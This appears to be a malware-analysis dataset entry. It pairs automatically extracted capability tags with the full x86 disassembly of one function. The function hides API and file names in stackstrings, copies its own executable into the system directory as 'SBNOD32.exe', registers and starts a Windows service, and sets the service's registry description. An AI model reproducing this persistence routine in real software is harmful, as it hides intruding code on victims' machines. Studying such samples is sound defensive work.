Function at 0x404910
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4061e0
push 0x404f60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x344
push ebx
push esi
push edi
mov byte [ebp - 0x348], 0x47
mov bl, 0x65
mov byte [ebp - 0x347], bl
mov al, 0x74
mov byte [ebp - 0x346], al
mov byte [ebp - 0x345], 0x53
mov dl, 0x79
mov byte [ebp - 0x344], dl
mov byte [ebp - 0x343], 0x73
mov byte [ebp - 0x342], al
mov byte [ebp - 0x341], bl
mov byte [ebp - 0x340], 0x6d
mov byte [ebp - 0x33f], 0x44
mov byte [ebp - 0x33e], 0x69
mov cl, 0x72
mov byte [ebp - 0x33d], cl
mov byte [ebp - 0x33c], bl
mov byte [ebp - 0x33b], 0x63
mov byte [ebp - 0x33a], al
mov byte [ebp - 0x339], 0x6f
mov byte [ebp - 0x338], cl
mov byte [ebp - 0x337], dl
mov byte [ebp - 0x336], 0x41
mov byte [ebp - 0x335], 0
lea eax, [ebp - 0x348]
push eax
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x104
lea ecx, [ebp - 0x32c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea edx, [ebp - 0x220]
push edx
call esi
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x32c]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x404b29
mov byte [ebp - 0x354], 0x53
mov byte [ebp - 0x353], 0x42
mov byte [ebp - 0x352], 0x4e
mov byte [ebp - 0x351], 0x4f
mov byte [ebp - 0x350], 0x44
mov byte [ebp - 0x34f], 0x33
mov byte [ebp - 0x34e], 0x32
mov byte [ebp - 0x34d], 0x2e
mov byte [ebp - 0x34c], bl
mov byte [ebp - 0x34b], 0x78
mov byte [ebp - 0x34a], bl
mov byte [ebp - 0x349], 0
lea edx, [ebp - 0x220]
mov edi, 0x407b04
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x354]
lea edx, [ebp - 0x220]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x32c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x32c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x220]
lea edx, [ebp - 0x32c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x334], ebx
xor edi, edi
mov dword [ebp - 0x330], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x330], esi
cmp esi, edi
je 0x404c73
push edi
push edi
push edi
push edi
push edi
lea ecx, [ebp - 0x32c]
push ecx
push edi
push 2
push 0x10
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov edi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x334], ebx
test ebx, ebx
jne 0x404bca
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x404bca
push 0xf01ff
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0x334], ebx
test ebx, ebx
je 0x404c73
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
jmp 0x404c73
lea edx, [ebp - 0x11c]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x228]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov esi, dword [ebp - 0x330]
mov dword [ebp - 4], 0xffffffff
call fcn.00404c9c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret